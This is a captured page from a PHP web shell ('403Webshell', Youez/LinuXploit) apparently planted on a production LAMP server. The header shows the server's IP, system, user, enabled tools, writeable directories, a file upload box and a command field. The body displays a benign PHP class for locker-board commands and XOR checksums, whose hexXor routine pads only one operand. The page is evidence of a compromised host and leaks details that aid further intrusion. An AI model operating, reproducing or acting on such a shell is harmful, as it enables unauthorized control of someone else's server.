403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Classes/LockerBoardCore.php
<?php

namespace App\Classes;

class LockerBoardCore{

    public function computeCommand(Array $queries, $separator = "")
    {
        array_push($queries, self::hexXorArr($queries) );

        return join($separator, $queries);
    }

    public function getCommandSection($command, $section = 1) : string
    {
        $start = ($section * 2) - 2;
        $data = substr($command, $start, 2);
        return $data;
    }

    public function readStatus($num, $chuck = 1) : array
    {
        $dec = hexdec($num);
        $bin = decbin($dec);

        $revBin = strrev($bin);

        $startNum = ($chuck-1) * 8;

        $lockIDs = [];
        for($i = 0; $i < strlen($revBin); $i++){
            if($revBin[$i] == 1){
                $lockIDs[] = $i+1 + $startNum;
            }
        }

        return $lockIDs;
    }

    public function getHexString($int) : String
    {
        return str_pad(dechex($int), 2, "0", STR_PAD_LEFT);
    }

	//hex数据BBC异或校验(多个hex数据进行校验)
    public function hexXorArr(Array $data)
    {
        $result = $data[0];
        for ($i=0; $i < count($data)-1; $i++) {
            $result = self::hexXor($result, $data[$i+1]);
        }
        return $result;
    }

    //hex数据BBC异或校验(两两比较)
    public function hexXor($hex1, $hex2)
    {
        $bin1 = base_convert($hex1, 16, 2);
        $bin2 = base_convert($hex2, 16, 2);
        $len1 = strlen($bin1);
        $len2 = strlen($bin2);
        $result = '';

        //如果不相等判断补齐再异或
        if($len1 != $len2){
            if($len1 > $len2){
                $temp = '';
                for ($i=0; $i < $len1 - $len2; $i++) { 
                    $temp.='0';
                }   
            }else{
                $temp = '';
                for ($i=0; $i < $len2 - $len1; $i++) { 
                    $temp.='0';
                }
            }
            $bin2 = $temp.$bin2;//不足补0
        }

        for ($i=0; $i < $len1; $i++) { 
            $result .= $bin1[$i] == $bin2[$i] ? '0' : '1';
        }
    
        return base_convert($result, 2, 16);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit